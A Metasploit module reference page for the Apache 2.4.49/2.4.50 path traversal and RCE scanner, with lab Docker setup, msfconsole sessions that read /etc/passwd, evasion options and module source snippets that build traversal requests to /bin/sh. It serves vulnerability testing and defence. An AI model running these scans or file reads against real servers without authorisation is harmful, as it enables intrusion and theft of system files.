Apache 2.4.49/2.4.50 Traversal RCE scanner - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/apache_normalize_path metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apache 2.4.49/2.4.50 Traversal RCE scanner
Module: auxiliary/scanner/http/apache_normalize_path
Source code: modules/auxiliary/scanner/http/apache_normalize_path.rb
Disclosure date: 2021-05-10
Last modification time: 2021-10-22 12:38:03 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-41773, CVE-2021-42013
This module scans for an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773). If files outside of the document root are not protected by ‘require all denied’ and CGI has been explicitly enabled, it can be used to execute arbitrary commands (Remote Command Execution). This vulnerability has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/apache_normalize_path
msf auxiliary(apache_normalize_path) > show options
... show and set options ...
msf auxiliary(apache_normalize_path) > set RHOSTS ip-range
msf auxiliary(apache_normalize_path) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(apache_normalize_path) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(apache_normalize_path) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(apache_normalize_path) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
This module scans for an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773) and 2.4.50 (CVE-2021-42013).
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root.
If files outside of the document root are not protected by "require all denied" these requests can succeed.
Additionally this flaw could leak the source of interpreted files like CGI scripts.
If CGI scripts are also enabled for these aliased paths, this could allow for remote code execution.
It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient (CVE-2021-42013).
Vulnerable Application
This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.
Make your lab
Path Traversal
docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773
--or--
docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013
Remote Code Execution
docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773
--or--
docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013
Verification Steps
- Start
msfconsole
use auxiliary/scanner/http/apache_normalize_path
set RHOSTS [IP]
run
Options
CVE
The vulnerability to use (Accepted: CVE-2021-41773, CVE-2021-42013). Default: CVE-2021-42013
DEPTH
Depth for path traversal. Default: 5
FILEPATH
The file you want to read. Default: /etc/passwd
TARGETURI
Base path. Default: /cgi-bin
Actions
CHECK_TRAVERSAL
Check the vulnerability exposure, by default.
CHECK_RCE
Check the remote code execution.
READ_FILE
Read remote file on the server.
Scenarios
Check for vulnerability
CVE-2021-42013 (by default)
msf6 > use auxiliary/scanner/http/apache_normalize_path
msf6 auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11
rhosts => 172.20.4.11
msf6 auxiliary(scanner/http/apache_normalize_path) > setg rport 8080
rport => 8080
msf6 auxiliary(scanner/http/apache_normalize_path) > setg ssl false
[!] Changing the SSL option's value may require changing RPORT!
ssl => false
msf6 auxiliary(scanner/http/apache_normalize_path) > setg verbose true
verbose => true
msf6 auxiliary(scanner/http/apache_normalize_path) > run
[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013.
[*] Obtained HTTP response code 403.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/apache_normalize_path) >
CVE-2021-41773
msf6 auxiliary(scanner/http/apache_normalize_path) > use auxiliary/scanner/http/apache_normalize_path
msf6 auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11
rhosts => 172.20.4.11
msf6 auxiliary(scanner/http/apache_normalize_path) > setg rport 8080
rport => 8080
msf6 auxiliary(scanner/http/apache_normalize_path) > setg ssl false
ssl => false
msf6 auxiliary(scanner/http/apache_normalize_path) > setg verbose true
verbose => true
msf6 auxiliary(scanner/http/apache_normalize_path) > setg cve CVE-2021-41773
cve => CVE-2021-41773
msf6 auxiliary(scanner/http/apache_normalize_path) > run
[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-41773.
[*] Obtained HTTP response code 403.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/apache_normalize_path) >
Check for RCE
msf6 auxiliary(scanner/http/apache_normalize_path) > use auxiliary/scanner/http/apache_normalize_path
msf6 auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11
rhosts => 172.20.4.11
msf6 auxiliary(scanner/http/apache_normalize_path) > setg rport 8080
rport => 8080
msf6 auxiliary(scanner/http/apache_normalize_path) > setg ssl false
ssl => false
msf6 auxiliary(scanner/http/apache_normalize_path) > setg verbose true
verbose => true
msf6 auxiliary(scanner/http/apache_normalize_path) > setg action CHECK_RCE
action => CHECK_RCE
msf6 auxiliary(scanner/http/apache_normalize_path) > run
[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013 (mod_cgi is enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/apache_normalize_path) >
Read file
msf6 auxiliary(scanner/http/apache_normalize_path) > use auxiliary/scanner/http/apache_normalize_path
msf6 auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11
rhosts => 172.20.4.11
msf6 auxiliary(scanner/http/apache_normalize_path) > setg rport 8080
rport => 8080
msf6 auxiliary(scanner/http/apache_normalize_path) > setg ssl false
ssl => false
msf6 auxiliary(scanner/http/apache_normalize_path) > setg verbose true
verbose => true
msf6 auxiliary(scanner/http/apache_normalize_path) > setg action READ_FILE
action => READ_FILE
msf6 auxiliary(scanner/http/apache_normalize_path) > run
[*] Obtained HTTP response code 200.
[+] 172.20.4.11:8080
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
[+] File saved in: /home/mekhalleh/.msf4/loot/20211010161150_default_172.20.4.11_apache.traversal_540877.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/apache_normalize_path) >
References
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse
- https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml
- https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74
- https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/apache_normalize_path auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/apache_normalize_path
msf6 auxiliary(scanner/http/apache_normalize_path) > show info
Name: Apache 2.4.49/2.4.50 Traversal RCE scanner
Module: auxiliary/scanner/http/apache_normalize_path
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2021-05-10
Provided by:
Ash Daulton
Dhiraj Mishra
mekhalleh (RAMELLA S��bastien)
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available actions:
Name Description
---- -----------
CHECK_RCE Check for RCE (if mod_cgi is enabled).
CHECK_TRAVERSAL Check for vulnerability.
READ_FILE Read file on the remote server.
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CVE CVE-2021-42013 yes The vulnerability to use (Accepted: CVE-2021-41773, CVE-2021-42013)
DEPTH 5 yes Depth for Path Traversal
FILEPATH /etc/passwd no File you want to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI /cgi-bin yes Base path
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module scans for an unauthenticated RCE vulnerability which
exists in Apache version 2.4.49 (CVE-2021-41773). If files outside
of the document root are not protected by ���require all denied���
and CGI has been explicitly enabled, it can be used to execute
arbitrary commands (Remote Command Execution). This vulnerability
has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-41773
https://nvd.nist.gov/vuln/detail/CVE-2021-42013
https://httpd.apache.org/security/vulnerabilities_24.html
https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse
https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml
https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74
https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis
Module Options
This is a complete list of options available in the scanner/http/apache_normalize_path auxiliary module:
msf6 auxiliary(scanner/http/apache_normalize_path) > show options
Module options (auxiliary/scanner/http/apache_normalize_path):
Name Current Setting Required Description
---- --------------- -------- -----------
CVE CVE-2021-42013 yes The vulnerability to use (Accepted: CVE-2021-41773, CVE-2021-42013)
DEPTH 5 yes Depth for Path Traversal
FILEPATH /etc/passwd no File you want to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI /cgi-bin yes Base path
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
CHECK_TRAVERSAL Check for vulnerability.
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/apache_normalize_path auxiliary module:
msf6 auxiliary(scanner/http/apache_normalize_path) > show advanced
Module advanced options (auxiliary/scanner/http/apache_normalize_path):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: A
uto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/apache_normalize_path module can do:
msf6 auxiliary(scanner/http/apache_normalize_path) > show actions
Auxiliary actions:
Name Description
---- -----------
CHECK_RCE Check for RCE (if mod_cgi is enabled).
CHECK_TRAVERSAL Check for vulnerability.
READ_FILE Read file on the remote server.
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/apache_normalize_path auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/apache_normalize_path) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- No response, target seems down.
- The target is not vulnerable to <CVE>.
- No response, target seems down.
- The target is not vulnerable to <CVE> (requires mod_cgi to be enabled).
- File path option is empty!
- No response, target seems down.
- The target is vulnerable to <CVE> (mod_cgi is enabled).
- Nothing was downloaded
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No response, target seems down.
Here is a relevant code snippet related to the "No response, target seems down." error message:
116: @target_uri = datastore['TARGETURI']
117: @traversal = pick_payload * datastore['DEPTH'] << '/etc/passwd'
118:
119: response = read_traversal
120: unless response
121: print_error(message('No response, target seems down.'))
122:
123: return Exploit::CheckCode::Unknown
124: end
125:
126: if response.code == 200 && response.body.include?('root:x:0:0:')
The target is not vulnerable to <CVE>.
Here is a relevant code snippet related to the "The target is not vulnerable to <CVE>." error message:
133: refs: references
134: )
135:
136: return Exploit::CheckCode::Vulnerable
137: end
138: print_error(message("The target is not vulnerable to #{datastore['CVE']}."))
139:
140: return Exploit::CheckCode::Safe
141: when 'CHECK_RCE'
142: @traversal = pick_payload * datastore['DEPTH'] << '/bin/sh'
143: rand_str = Rex::Text.rand_text_alpha(4..8)
No response, target seems down.
Here is a relevant code snippet related to the "No response, target seems down." error message:
142: @traversal = pick_payload * datastore['DEPTH'] << '/bin/sh'
143: rand_str = Rex::Text.rand_text_alpha(4..8)
144:
145: response = exec_traversal("echo #{rand_str}")
146: unless response
147: print_error(message('No response, target seems down.'))
148:
149: return Exploit::CheckCode::Unknown
150: end
151:
152: if response.code == 200 && response.body.include?(rand_str)
The target is not vulnerable to <CVE> (requires mod_cgi to be enabled).
Here is a relevant code snippet related to the "The target is not vulnerable to <CVE> (requires mod_cgi to be enabled)." error message:
157: refs: references
158: )
159:
160: return Exploit::CheckCode::Vulnerable
161: end
162: print_error(message("The target is not vulnerable to #{datastore['CVE']} (requires mod_cgi to be enabled)."))
163:
164: return Exploit::CheckCode::Safe
165: when 'READ_FILE'
166: fail_with(Failure::BadConfig, 'File path option is empty!') if !datastore['FILEPATH'] || datastore['FILEPATH'].empty?
167:
File path option is empty!
Here is a relevant code snippet related to the "File path option is empty!" error message:
161: end
162: print_error(message("The target is not vulnerable to #{datastore['CVE']} (requires mod_cgi to be enabled)."))
163:
164: return Exploit::CheckCode::Safe
165: when 'READ_FILE'
166: fail_with(Failure::BadConfig, 'File path option is empty!') if !datastore['FILEPATH'] || datastore['FILEPATH'].empty?
167:
168: @target_uri = datastore['TARGETURI']
169: @traversal = pick_payload * datastore['DEPTH'] << datastore['FILEPATH']
170:
171: response = read_traversal
No response, target seems down.
Here is a relevant code snippet related to the "No response, target seems down." error message:
168: @target_uri = datastore['TARGETURI']
169: @traversal = pick_payload * datastore['DEPTH'] << datastore['FILEPATH']
170:
171: response = read_traversal
172: unless response
173: print_error(message('No response, target seems down.'))
174:
175: return Exploit::CheckCode::Unknown
176: end
177:
178: vprint_status("Obtained HTTP response code #{response.code}.")
The target is vulnerable to <CVE> (mod_cgi is enabled).
Here is a relevant code snippet related to the "The target is vulnerable to <CVE> (mod_cgi is enabled)." error message:
175: return Exploit::CheckCode::Unknown
176: end
177:
178: vprint_status("Obtained HTTP response code #{response.code}.")
179: if response.code == 500
180: print_warning(message("The target is vulnerable to #{datastore['CVE']} (mod_cgi is enabled)."))
181: report_vuln(
182: host: target_host,
183: name: name,
184: refs: references
185: )
Nothing was downloaded
Here is a relevant code snippet related to the "Nothing was downloaded" error message:
184: refs: references
185: )
186: end
187:
188: if response.code == 500 || response.body.empty?
189: print_error('Nothing was downloaded')
190:
191: return Exploit::CheckCode::Vulnerable if response.code == 500
192: end
193:
194: if response.code == 200
Go back to menu.
Related Pull Requests
References
- CVE-2021-41773
- CVE-2021-42013
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse
- https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml
- https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74
- https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis
See Also
Check also the following modules related to this module:
- exploit/multi/http/apache_normalize_path_rce
- auxiliary/scanner/http/apache_activemq_source_disclosure
- auxiliary/scanner/http/apache_activemq_traversal
- auxiliary/scanner/http/apache_flink_jobmanager_traversal
- auxiliary/scanner/http/apache_mod_cgi_bash_env
- auxiliary/scanner/http/apache_optionsbleed
- auxiliary/scanner/http/apache_userdir_enum
- auxiliary/scanner/ssh/apache_karaf_command_execution
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/gather/apache_rave_creds
- exploit/linux/http/apache_continuum_cmd_exec
- exploit/linux/http/apache_couchdb_cmd_exec
- exploit/linux/http/apache_druid_js_rce
- exploit/linux/http/apache_ofbiz_deserialization
- exploit/linux/http/apache_ofbiz_deserialization_soap
- exploit/linux/http/apache_spark_rce_cve_2022_33891
- exploit/linux/smtp/apache_james_exec
- exploit/multi/http/apache_activemq_upload_jsp
- exploit/multi/http/apache_apisix_api_default_token_rce
- exploit/multi/http/apache_couchdb_erlang_rce
- exploit/multi/http/apache_flink_jar_upload_exec
- exploit/multi/http/apache_jetspeed_file_upload
- exploit/multi/http/apache_mod_cgi_bash_env_exec
- exploit/multi/http/apache_nifi_processor_rce
- exploit/multi/http/apache_roller_ognl_injection
- exploit/windows/http/apache_activemq_traversal_upload
- exploit/windows/http/apache_chunked
- exploit/windows/http/apache_modjk_overflow
- exploit/windows/http/apache_mod_rewrite_ldap
- exploit/windows/http/apache_tika_jp2_jscript
- auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
- exploit/windows/http/php_apache_request_headers_bof
Related Nessus plugins:
- Apache 2.4.49 < 2.4.50 Multiple Vulnerabilities
- Apache HTTP Server 2.4.49 Path Traversal (CVE-2021-41773)
- FreeBSD : Apache httpd -- Multiple vulnerabilities (25b78bdd-25b8-11ec-a341-d4c9ef517024)
- Apache 2.4.49 < 2.4.51 Path Traversal Vulnerability
- FreeBSD : Apache httpd -- Path Traversal and Remote Code Execution (d001c189-2793-11ec-8fb1-206a8a720317)
- Amazon Linux 2 : httpd (ALAS-2021-1716)
- Amazon Linux AMI : httpd24 (ALAS-2021-1543)
- Apache HTTP Server 2.4.49 & 2.4.50 Path Traversal (CVE-2021-42013)
Authors
- Ash Daulton
- Dhiraj Mishra
- mekhalleh (RAMELLA Sébastien)
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.